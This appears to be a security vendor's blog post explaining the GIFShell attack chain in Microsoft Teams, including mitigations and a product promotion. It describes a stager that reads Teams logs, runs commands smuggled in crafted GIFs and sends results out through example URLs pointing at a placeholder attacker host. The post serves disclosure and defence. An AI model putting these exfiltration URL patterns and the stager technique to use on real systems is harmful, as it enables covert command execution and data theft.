SecPod

Learn Search

Search across all Learn content

← Back to Security Research
“GIFSHELL” – Chain Attack in Microsoft Teams

“GIFSHELL” – Chain Attack in Microsoft Teams

Security researcher Bobby Rauch identified seven different vulnerabilities in Microsoft Teams. These flaws can be used in a series to achieve a new attacking technique named GIFShell attack. However, The GIFShell attack is capable of creating a reverse shell between a user and an attacker. These cra...

Sep 22, 2022By Mansij Gupta4 min read

Security researcher Bobby Rauch identified seven different vulnerabilities in Microsoft Teams. These flaws can be used in a series to achieve a new attacking technique named GIFShell attack. However, The GIFShell attack is capable of creating a reverse shell between a user and an attacker. These crafted GIFs are created by embedding some commands. As sending and receiving messages is through Teams API, EDR or other network monitoring tools cannot detect this activity. Therefore we require a network vulnerability management tool in this situation.

Below are the seven different vulnerabilities that result in GIFShell attacks:

  • The external attacker can send attachments to a user, as by default Microsoft Teams allows External Teams collaboration that results in bypassing security controls.
  • Microsoft Teams messages are stored in plain text with low privileges, which allows attackers to scan the log file.Microsoft Team’s Log File Location:

“$HOME\AppData\Roaming\Microsoft\Teams\IndexedDB\https_teams.microsoft.com_0.indexeddb.leveldb*.log.”

  • Microsoft Team renders GIFs through Microsoft Team cards. This allows attackers to send Out of bounds HTTP and DNS requests that will attempt to fetch these crafted GIFs. This cannot be detected, as data exfiltration is done through Microsoft’s server.

“https://urlp.asm.skype.com/v1/url/content?url=<attacker-public-ip>/<exfiltrated-data>.gif”

  • Microsoft Teams do not validate the base64 encoded GIFs. Thus, sending malicious commands through GIF is possible.
  • Sending Microsoft Teams message requests has no CSRF authentication or rate-limiting protection. The attacker can craft and re-send malicious requests repeatedly.
  • The request for sending Microsoft Teams Card to a channel through Webhook does not have any validation imposed; we can send any crafted data through the card. When these flaws are chained together, it results in a GIFShell attack.

Exploitation:

Fig: E-1: C2C Server sending and receiving a response.
Fig: E-1: C2C Server sending and receiving a response.

The attacker will run a client-side server (stager) on the victim’s machine, which he might have sent through some social engineering technique. However, the server will keep continuously listening to the log file ($HOME\AppData\Roaming\Microsoft\Teams\IndexedDB\https_teams. Microsoft.com_0.indexeddb.leveldb\*.log) where Microsoft Teams is adding messages received by the victim. The server is able to read the logs because the log file has low privileges.

On scanning the log file, the server looks for an encoding GIF that is receiving as a message by the victim. It checks if the C&C server sent any commands, executes the same, and responds with an encoded URL, as explained below.

Microsoft Teams card renders GIFs by sending a request as “https://urlp.asm.skype.com/v1/url/content?url=HTTP-GIF-LOCATION.gif,” which is invalid for Microsoft Teams.

Fig: E-2: Stager reading commands coming C & C and executes the command and sends a response to the attacker
Fig: E-2: Stager reading commands coming C & C and executes the command and sends a response to the attacker

As a result, the client-side server (stager) appends the encoding response with a URL that is going to the Attacker’s IP as follows.

“http://attacker-ip-or-domain/EncodedResponse.gif”

The above-generated URL will be added to the Microsoft Teams card and sent to the attacker’s channel in Microsoft Teams through Webhook [Webhook is a way for one application to deliver data to another app in real time]. While sending the card, a GET request is going to the attacker’s IP by Microsoft Teams through the following URL.

“https://urlp.asm.skype.com/v1/url/content?url=http://attacker-ip-or-domain/EncodedResponse.gif”

The Command and Control Server running at the attacker’s machine will listen to the GET requests coming to his machine. As soon as the GET request is finally receiving here, the C2C server will extract the response sent by the client machine through the Microsoft Teams card. The attacker successfully receives the response of the command he sent through the encoded GIF.

“Exploitation Credit:”

Mohamed Faiz (@mohamed)

Protection Against the GIFShell Attack

  • Disable external access: By default Microsoft Teams allows external users to send messages to tenant users. Many organization admins are unaware that their organization allows for External Teams collaboration. The external access feature allows Teams users from outside the organization to find, call, chat, and set up meetings in Teams.
  • Disable external domain access: Microsoft Teams provides options to block all external domains or Allow only specific ones.
  • Disable unmanaged external teams. Start a conversation: Restrict the team’s user to communicate with external teams.

Therefore Use our Advanced Vulnerability Management solution to ensure your organization’s devices are fully compliant, secure, and updated.

Featured Posts

Open GT13 Campaign Targets 22 Organizations Through Check Point Security Management Server Exploitation
GT13 Campaign Targets 22 Organizations Through Check Point Security Management Server Exploitation

CVE Research

GT13 Campaign Targets 22 Organizations Through Check Point Security Management Server Exploitation

The GT13 campaign targeted at least 22 organizations worldwide by exploiting vulnerabilities in exposed services and Check Point Security Management Servers. The attackers used forged authentication sessions, SSH-based persistence, internal reconnaissance, lateral movement, and data exfiltration techniques to compromise systems and access sensitive information.

Nov 26, 2026

Open GeoServer Flaws Under Attack: Inside the Exploit Chain to Remote Code Execution
vulnerability researchGeoServer Flaws Under Attack: Inside the Exploit Chain to Remote Code Execution

CVE Research

GeoServer Flaws Under Attack: Inside the Exploit Chain to Remote Code Execution

Six vulnerabilities in GeoServer’s November 2026 security update can expose sensitive files, bypass service authorization, and enable administrator impersonation. Several of these flaws can be chained for unauthenticated remote code execution with the permissions of the GeoServer process. CVE-2026-120705 and CVE-2026-129243 have been reported as exploited. Fixed releases include GeoServer 3.0.2, 2.28.6, and 2.27.7. This article covers the flaws, the public five-CVE chain, impact, affected versions, and remediation guidance.

Nov 26, 2026

Open Critical Security Flaws in Microsoft Office, Erlang/OTP and Mozilla Thunderbird: November 25, 2026
Critical Security Flaws in Microsoft Office, Erlang/OTP and Mozilla Thunderbird: November 25, 2026

CVE Research

Critical Security Flaws in Microsoft Office, Erlang/OTP and Mozilla Thunderbird: November 25, 2026

Critical security flaws disclosed in November 2026 affect Microsoft Office, Erlang/OTP, and Mozilla Thunderbird. Explore CVE-2026-112732, CVE-2026-124286, and CVE-2026-136226, including remote code execution, TLS server impersonation, email spoofing risks, affected versions, and fixes.

Nov 25, 2026

Open Critical Vulnerabilities, November 23, 2026: Ruby2Shell in GitLab CE/EE and Seven rclone Flaws
vulnerability researchCritical Vulnerabilities, November 23, 2026: Ruby2Shell in GitLab CE/EE and Seven rclone Flaws

CVE Research

Critical Vulnerabilities, November 23, 2026: Ruby2Shell in GitLab CE/EE and Seven rclone Flaws

Nov 24, 2026